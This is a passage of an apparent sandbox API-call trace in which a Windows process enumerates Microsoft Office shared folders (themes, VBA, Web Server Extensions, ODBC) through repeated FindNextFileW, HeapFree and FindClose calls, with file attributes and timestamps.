	[0078.064] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0078.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.066] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0078.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.066] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0078.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.067] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0078.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.068] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0078.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.068] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0078.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.069] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1
	[0078.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.070] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0078.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.071] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0078.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.071] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0078.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.072] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0078.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.073] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0078.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.074] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0078.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.075] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0078.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.075] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0078.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.076] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0078.076] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0078.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.076] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0078.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.079] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0078.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.079] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0078.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.080] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc91c74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1
	[0078.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.080] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0078.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.081] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca8c279f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0078.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.082] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8c279f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42d088, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0078.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.082] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0078.083] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0078.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.083] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0078.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.085] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0078.085] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.086] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.086] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0078.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0078.283] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0078.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.283] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0078.284] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0078.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.284] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0078.284] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.284] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0078.285] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0078.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0078.287] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1
	[0078.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.288] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0
	[0078.288] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0078.288] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1
	[0078.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0078.289] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0078.289] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0078.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.289] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1
	[0078.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.289] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0078.290] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0078.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
